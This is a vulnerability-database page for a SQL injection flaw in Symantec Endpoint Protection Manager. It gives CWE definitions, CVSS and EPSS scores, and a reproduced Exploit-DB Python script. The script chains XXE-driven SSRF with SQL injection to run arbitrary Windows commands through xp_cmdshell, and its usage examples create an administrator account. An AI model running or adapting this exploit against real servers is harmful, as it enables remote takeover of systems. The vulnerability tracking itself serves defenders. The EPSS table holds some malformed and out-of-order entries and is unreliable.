CPE, which stands for Common Platform Enumeration, is a standardized scheme for naming hardware, software, and operating systems. CPE provides a structured naming scheme to uniquely identify and classify information technology systems, platforms, and packages based on certain attributes such as vendor, product name, version, update, edition, and language.
CWE, or Common Weakness Enumeration, is a comprehensive list and categorization of software weaknesses and vulnerabilities. It serves as a common language for describing software security weaknesses in architecture, design, code, or implementation that can lead to vulnerabilities.
CAPEC, which stands for Common Attack Pattern Enumeration and Classification, is a comprehensive, publicly available resource that documents common patterns of attack employed by adversaries in cyber attacks. This knowledge base aims to understand and articulate common vulnerabilities and the methods attackers use to exploit them.
Services & Price
Help & Info
Search : CVE id, CWE id, CAPEC id, vendor or keywords in CVE
SQL injection vulnerability in the management console in Symantec Endpoint Protection Manager (SEPM) 11.0 before 11.0.7405.1424 and 12.1 before 12.1.4023.4080, and Symantec Protection Center Small Business Edition 12.x before 12.1.4023.4080, allows remote authenticated users to execute arbitrary SQL commands via unspecified vectors.
Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data.
Metrics
Metrics
Score
Severity
CVSS Vector
Source
V2
6.5
AV:N/AC:L/Au:S/C:P/I:P/A:P
nvd@nist.gov
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
1.23%
–
–
2022-02-20
–
–
1.23%
–
–
2022-04-03
–
–
1.23%
–
–
2022-06-26
–
–
1.23%
–
–
2022-10-16
–
–
1.23%
–
–
2023-03-12
–
–
–
0.66%
–
2023-05-28
–
–
–
0.66%
–
2023-10-01
–
–
–
0.57%
–
2023-12-31
–
–
–
0.57%
–
2024-02-11
–
–
–
0.57%
–
2024-04-07
–
–
–
0.57%
–
2024-06-02
–
–
–
0.57%
–
2024-09-01
–
–
–
0.46%
–
2024-11-03
–
–
–
0.49%
–
2024-12-22
–
–
–
0.49%
–
2025-01-05
–
–
–
0.57%
–
2025-03-16
–
–
–
0.68%
–
2025-01-19
–
–
–
0.57%
–
2025-03-18
–
–
–
–
72.79%
2025-03-30
–
–
–
–
74.05%
2025-03-30
–
–
–
–
74.05,%
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Publication date : 2014-02-22 23h00 +00:00 Author : Chris Graham EDB Verified : Yes
import argparse
import httplib
"""
Exploit Title: Symantec Endpoint Protection Manager Remote Command Execution
Exploit Author: Chris Graham @cgrahamseven
CVE: CVE-2013-5014, CVE-2013-5015
Date: February 22, 2014
Vendor Homepage: http://www.symantec.com/endpoint-protection
Version: 11.0, 12.0, 12.1
Tested On: Windows Server 2003, default SEPM install using embedded database
References: https://www.sec-consult.com/fxdata/seccons/prod/temedia/advisories_txt/20140218-0_Symantec_Endpoint_Protection_Multiple_critical_vulnerabilities_wo_poc_v10.txt
http://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=&suid=20140213_00
Details:
First off, this was a fantastic discovery by Stefan Viehbock. The abuse of the XXE
injection to force SEPM to exploit itself through a separate SQL injection flaw was
particularly amusing. I suspect the majority of SEPM users will have it configured
with the default embedded database, thereby making this a pretty reliable exploit.
So basically what you are looking for with the XXE injection is a vulnerability
that can be triggered in the ConsoleServlet. When a multipart http request is sent,
the servlet will use a custom MultipartParser class to handle the individual
multipart bodies. When a body is encountered that uses a Content-Type of text/xml,
the Java DocumentBuilder class is used to parse the xml. Since Symantec did not
disallow declared DTD processing, it is vulnerable to the XXE injection. This
appears to be a blind XXE, so a better use of the vulnerability is use it for SSRF.
That leads us to the SQL injection flaw.
Symantec has an http request handler called ConfigServerHandler that is programmatically
restricted to only handle requests that come from localhost. I guess when they wrote this
they just assumed that there was never going to be a way to send untrusted input to it
since it was always going to be controlled by them. I base this guess on the fact that
there is absolutely no attempt made to validate what input comes in to the
updateReportingVersion function which shoves it directly into a SQL query unfiltered. In
order to trigger the SQL injection you just need to send the SQL injection string in the
"Parameter" url param with the "action" param set to test_av. On a default install of SEPM,
it uses a SQL Anywhere embedded database. Much like MSSQL, SQL Anywhere has an xp_cmdshell
stored procedure to run local OS commands. Using this stored procedure, you can compromise
the server that is running SEPM.
Example Usage:
python sepm_xxe_exploit.py -t 192.168.1.100 -c "net user myadmin p@ss!23 /add"
python sepm_xxe_exploit.py -t 192.168.1.100 -c "net localgroup Administrators myadmin /add"
"""
multipart_body = \
"------=_Part_156_33010715.1234\r\n" + \
"Content-Type: text/xml\r\n" + \
"Content-Disposition: form-data; name=\"Content\"\r\n\r\n" + \
"<?xml version=\"1.0\" encoding=\"UTF-8\"?>\r\n" + \
"<!DOCTYPE sepm [<!ENTITY payload SYSTEM " + \
"\"http://127.0.0.1:9090/servlet/ConsoleServlet?ActionType=ConfigServer&action=test_av" + \
"&SequenceNum=140320121&Parameter=a'; call xp_cmdshell('%s');--\" >]>\r\n" + \
"<request>\r\n" + \
"<xxe>&payload;</xxe>\r\n" + \
"</request>\r\n" + \
"------=_Part_156_33010715.1234--\r\n"
headers = {'Content-Type':"multipart/form-data; boundary=\"----=_Part_156_33010715.1234\""}
cmdline_parser = argparse.ArgumentParser(description='Symantec Endpoint Protection Manager' + \
' Remote Command Execution')
cmdline_parser.add_argument('-t', dest='ip', help='Target IP', required=True)
cmdline_parser.add_argument('-p', dest='port', help='Target Port', default=9090, \
type=int, required=False)
cmdline_parser.add_argument('-ssl', dest='ssl', help='Uses SSL (set to 1 for true)', \
default=0, type=int, required=False)
cmdline_parser.add_argument('-c', dest='cmd', help='Windows cmd to run (must be in quotes ie "net user")', \
required=True)
args = cmdline_parser.parse_args()
if args.ssl == 1:
conn = httplib.HTTPSConnection(args.ip, args.port)
else:
conn = httplib.HTTPConnection(args.ip, args.port)
multipart_body = multipart_body % (args.cmd)
print "\n[*]Attempting to exploit XXE and run local windows command: " + args.cmd
conn.request("POST", "/servlet/ConsoleServlet?ActionType=ConsoleLog", multipart_body, headers)
res = conn.getresponse()
if res.status != 200:
print "[-]Exploit unsuccessful! Server returned:\n" + res.read()
else:
print "[+]Exploit successfully sent!"
Products Mentioned
Configuraton 0
Symantec>>Endpoint_protection_manager >> Version 11.0